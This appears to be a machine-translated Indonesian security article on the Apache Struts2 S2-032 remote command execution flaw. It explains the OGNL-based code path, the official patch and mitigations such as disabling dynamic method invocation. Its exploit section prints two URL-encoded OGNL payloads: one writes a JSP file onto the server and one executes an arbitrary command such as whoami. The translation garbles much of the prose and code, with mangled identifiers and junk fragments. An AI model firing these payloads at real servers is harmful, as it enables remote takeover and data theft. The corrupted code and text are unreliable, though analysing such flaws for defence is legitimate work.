Pada tanggal 26 April 2016, Apache Struts2 secara resmi mengeluarkan pengumuman keamanan lain: Layanan Apache Struts2 dapat melaksanakan perintah apa pun ketika metode negara dipanggil dan dimulai. Nomor resmi adalah S2-032 dan nomor CVE adalah CVE-2016-3081. Ini adalah kerentanan skala besar layanan telah meledak setelah empat tahun sejak kerentanan eksekusi komando Struts2 pecah pada tahun 2012. Kerentanan ini juga merupakan kerentanan keamanan paling serius yang telah diekspos tahun ini. Peretas dapat menggunakan kerentanan ini untuk melakukan operasi jarak jauh di server perusahaan, yang menghasilkan ancaman keamanan utama seperti kebocoran data, tuduhan host jarak jauh, penetrasi intranet, dll.
Setelah kerentanan terjadi, itu adalah peristiwa kolektif lain untuk keamanan dan perusahaan terkait. Pengeksploitasi kerentanan menggunakan kerentanan ini sebanyak mungkin untuk menunjukkan tingkat mereka yang luar biasa; Berbagai platform pengujian publik telah merilis perusahaan yang tertangkap untuk meningkatkan peran platform; Perusahaan keamanan utama juga telah memanfaatkan sepenuhnya kerentanan ini untuk meningkatkan pengaruh perusahaan, memanfaatkan pemasaran, deteksi gratis, meningkatkan sesegera mungkin, dll. Masih ada banyak produsen depresi yang tersisa, dan saya tidak meminta siapa pun dan mengacaukan siapa pun; Kemudian sejumlah besar pengembangan dan personel operasi harus meningkatkan tambalan kerentanan dalam semalam.
Namun, prinsip kerentanan mempengaruhi perlindungan dan faktor -faktor lain jarang disebutkan. Artikel ini adalah tentang mengedepankan pendapat Anda sendiri tentang poin -poin di atas.
prinsip
Kerentanan ini menggunakan eksekusi OGNL yang dinamis Struts2 untuk mengakses kode Java apa pun. Dengan menggunakan kerentanan ini, Anda dapat memindai halaman web jarak jauh untuk menentukan apakah ada kerentanan seperti itu, dan kemudian mengirim instruksi berbahaya, mengimplementasikan unggahan file, menjalankan perintah asli dan serangan lainnya.
Ognl adalah singkatan dari bahasa navigasi grafik objek, dan nama lengkapnya adalah bahasa navigasi grafik objek. Ini adalah bahasa ekspresi yang kuat. Melalui sintaks yang sederhana dan konsisten, dapat mengakses properti objek atau memanggil metode objek sesuka hati, dan dapat melintasi diagram struktur seluruh objek dan mewujudkan konversi jenis atribut objek dan fungsi lainnya.
#, % dan $ simbol sering muncul dalam ekspresi OGNL
1. Umumnya ada tiga penggunaan simbol #.
Mengakses properti objek non-root, seperti #session.msg Expression, karena tumpukan median struts 2 dianggap sebagai objek root, Anda perlu awalan saat mengakses objek non-root lainnya; Ini digunakan untuk memfilter dan memproyeksikan (memproyeksikan) set, seperti orang. {?#this.age> 25}, orang. {?#this.name == 'pla1'}. {usia} [0]; Ini digunakan untuk membangun peta, seperti #{'foo1': 'bar1', 'foo2': 'bar2'} dalam contoh.
2. Simbol %
Tujuan dari simbol % adalah untuk menghitung nilai ekspresi OGNL ketika atribut bendera adalah tipe string. Ini mirip dengan eval di JS dan sangat kejam.
3. Simbol $ memiliki dua kegunaan utama.
Dalam file sumber daya internasional, lihat ekspresi OGNL, seperti kode dalam file sumber daya internasional: Reg.agerange = Informasi Sumber Daya Internasional: Usia harus antara $ {min} dan $ {max}; Lihat Ekspresi OGNL dalam file konfigurasi dari Framework 2 Struts.
Proses pemanfaatan kode
1. Permintaan klien
http: // {situs webip.webapp}: {portnum}/{vul.action}? Method = {MalcmdStr}
2. Fungsi DefaultActionProxy's DefaultActionProxy menangani permintaan.
DefaultActionProxy yang Dilindungi (ActionInVocation Inv, String Namespace, String ActionName, String MethodName, Boolean Executeresult, Boolean CleanupContext) {this.inVocation = inv; this.cleanupcontext = cleanupcontext; Log.debug ("Membuat defaultActionProxy untuk namespace [{}] dan nama tindakan [{}]", namespace, actionName); this.actionName = stringescapeutils.escapeHtml4 (actionName); this.namespace = namespace; this.executeresult = executeresult; // Peserta dapat memotongnya melalui variabel passing, pengisian sintaks, pelarian karakter dan metode lainnya. this.method = stringescapeutils.escapeecmript (stringescapeutils.escapeHtml4 (methodName));}3. Metode Metode DefaultActionMapper Nama DefaultActionMapper
String name = key.substring (action_prefix.length ()); if (allowdynamicMethodcalls) {int bang = name.indexof ('!'); if (bang! = -1) {// Dapatkan metode metode string metode = cleanupactionName (name.substring (bang + 1)); pemetaan.setMethod (metode); name = name.substring (0, bang); }}4. Panggil metode InvokeAction dari DefaultActionInvocation untuk menjalankan metode yang dilewati.
String Protected InvokeAction (Tindakan Objek, ActionConfig ActionConfig) melempar Exception {string methodName = proxy.getMethod (); LOG.DEBUG ("Executing Action Method = {}", MethodName); String timerKey = "InvokeAction:" + proxy.getActionName (); coba {utilTimerStack.push (timerKey); Object MethodResult; coba {// jalankan metode methodResult = ognlutil.getValue (methodName + "()", getStack (). getContext (), action); } catch (methodfailedException e) {Larutan
Solusi resmi adalah menambahkan verifikasi dalam Function CleanUpactionName pada Langkah 3.
pola yang dilindungi diizinkan actickNames = pola.compile ("[a-za-z0-9 ._! ///-]*"); pembersihan string yang dilindungi (string final rawactionName) {// Periksa, masukkan pencocokan reguler filter ("[A-ZA-ZA-9. Karakter Lowercase dan Lowercase seperti Lowercase seperti Lowercase dan Lowercase seperti Lowercase dan hanya ada yang mengadopsi. Metode whitel dan hanya dengan metode whitel. if (apledacticnames.matcher (rawactionName) .matches ()) {return rawactionName; } else {if (log.isWarnEnabled ()) {log.warn ("Action/Method [#0] tidak cocok dengan pola nama tindakan yang diizinkan [#1], membersihkannya!", RawactionName, diizinkan Acacticnames); } String cleanacticname = rawactionName; untuk (string chunk: diizinkan acticknames.split (rawactionName)) {cleanactionName = cleanacticname.replace (chunk, ""); } if (log.isdebugeNabled ()) {log.debug ("nama tindakan/metode yang dibersihkan [#0]", cleanacticname); } return cleanactionName; }}Saran perbaikan
1. Nonaktifkan panggilan metode dinamis
Ubah file konfigurasi struts2 dan atur nilai "struts.enable.dynamicmethodinVocation" menjadi false, misalnya:
<constantname = "struts.enable.dynamicmethodinVocation" value = "false"/>;
2. Tingkatkan versi perangkat lunak
Tingkatkan Versi Struts ke 2.3.20.2, 2.3.24.2 atau 2.3.28.1
Alamat tambalan: https://struts.apache.org/download.cgi#struts23281
Kode Eksploitasi
1. Unggah file:
Metode:%23_memberaccess%[email] [email protected] [/email]@default_member_access,%23req%3d%40org.apache.structs2.servletactionContext%40GetRequest (),%23 res%3d%40org.apache.structs2.servletactionContext%40GetResponse (),%23res.setcharacterencoding (%23parameters.encoding [0]),%23W%3d%23res.getWriter (),%23pat h%3d%23req.getRealPath (%23parameters.pp [0]), baru%20Java.io.BufferedWriter (baru%20Java.io.Filewriter (%23path%2B 23Parameters.shellname [0]). Append (%23patham eter.shellContent [0])). Tutup (),%23w.print (%23path),%23w.close (), 1?%23xx:%23request.tostring & shellname = stest.jsp & shellcontent = ttt & encoding = UTF-8 & PP =%2F
Kode di atas terlihat agak tidak nyaman, mari kita konversikan dan lihat.
Metode: #_ MemberAccess [email protected]@default_member_access,#req [email protected]@getRequest (),#[email protected] ErvletActionContext@getResponse (),#res.setcharacterencoding (#parameter.encoding [0]),#w =#res.getWriter (),#path =#req.getRealPath (#parameter.pp [0]), baru java.io.bufferedwriter (baru java.io.fileWriter (#path+#parameter.shellname [0]). append (#parameter.shellContent [0])). close (),#w.print (#path),#w.close (), 1? #xx:#request.tostring & shellname = stest.jsp & shellp & shellsont = #xx: #tostring & shellname = stest.
2. Jalankan perintah lokal:
Metode:%23_memberaccess%[email protected]@default_member_access,%23res%3d%40org.apache.struks2.servletactionContext%40GetRespo nse (),%23res.setcharacterencoding (%23parameters.encoding [0]),%23W%3d%23res.getWriter (),%23s%3dnew+java.util.scanner (@java.lang.run time@getRuntime (). exec (%23parameters.cmd [0]). getInputStream ()). E) igenelimiter (%23parameters.pp [0]),%23str%3d%23s.hasnext ()%3f%23s. next ()%3a%23parameters.ppp [0],%23w.print (%23Str),%23W.Close (), 1?%23xx:%23request.tostring & cmd = whoami & pp = // a & pp =%20 & encoding = UTF-8
Mari kita lihat konversi
Metode: #_ MemberAccess [#parameter.name1 [0]] = true,#_ MAGNGACCESS [#parameter.name [0]] = true,#_ MAGMACCESS [#parameter.name2 [0]] = {},#_ MemberAccess [#paramete rs.name3 [0]] = {},#res [email protected]@getResponse (),#res.setcharacterencoding (#parameter.encoding [0]),#w#d#res.getWriter (),#s = new java.util.scanner (@java.lang.runtime@getRuntime (). Exec (#parameter.cmd [0]). getInputStream ()). Usah Besar (#parameter.pp [0]),#str =#s.hasnext ()?#s.next ():#parameters int (#str),#w.close (), 1? #xx:#request.toString & name = AllowStaticMethodaCess & name1 = AllowPrivateAccess & Name2 = tidak termasuk WHOAMI & PP =/PP = & pp = & pp = & pp = & pp = & pp = & pp = & pp = & ppMelalui pengantar sebelumnya, saya menemukan bahwa relatif mudah dimengerti setelah konversi.
Bagaimana mencegah
Ada prinsip yang sangat penting dalam keamanan, yang merupakan prinsip izin paling sedikit. Apa yang disebut hak istimewa mengacu pada "hak istimewa yang penting untuk setiap kepala sekolah (pengguna atau proses) dalam jaringan saat menyelesaikan operasi tertentu." Prinsip hak istimewa minimum berarti bahwa "hak istimewa minimum bahwa setiap entitas dalam jaringan harus dibatasi untuk memastikan bahwa kemungkinan kecelakaan, kesalahan, merusak komponen jaringan dan kerugian lainnya harus diminimalkan."
Misalnya, jika panggilan metode dinamis tidak digunakan dalam sistem, mereka akan dihapus selama penyebaran, sehingga bahkan jika tambalan tidak ditembakkan, itu masih belum akan digunakan.
Salah satu kerugian terpenting dalam sistem ini adalah menjalankan proses lokal, yang juga dapat dinonaktifkan jika sistem tidak berkinerja lokal.
Mari kita lihat kode yang mengeksekusi perintah lokal dalam kode Java, ProcessImpl di ProcessImpl.
Private ProcessImpl (String CMD [], Final String EnvBlock, Final String Path, Final Long [] StdHandles, Final Boolean RedirecterrorStream) melempar IoException {String CMDSTR; SecurityManager Security = System.GetSecurityManager (); Boolean memungkinkan komandan = false; if (security == null) {allowambiguousCommands = true; // JDK telah menentukan parameter untuk mengidentifikasi apakah proses lokal dapat dieksekusi. String value = system.getProperty ("jdk.lang.process.allowambiguousCommands"); if (value! = null) allowambiguousCommands =! "false" .equalSignorecase (nilai); } if (allowambiguousCommands) {Saat Java dimulai, tambahkan parameter -djdk.lang.process.allowambigousCommands = false, sehingga java tidak akan menjalankan proses lokal.
Jika Anda dapat mematikan konten yang tidak perlu terlebih dahulu ketika sistem digunakan, kerusakan kerentanan ini dapat dikurangi atau dihilangkan.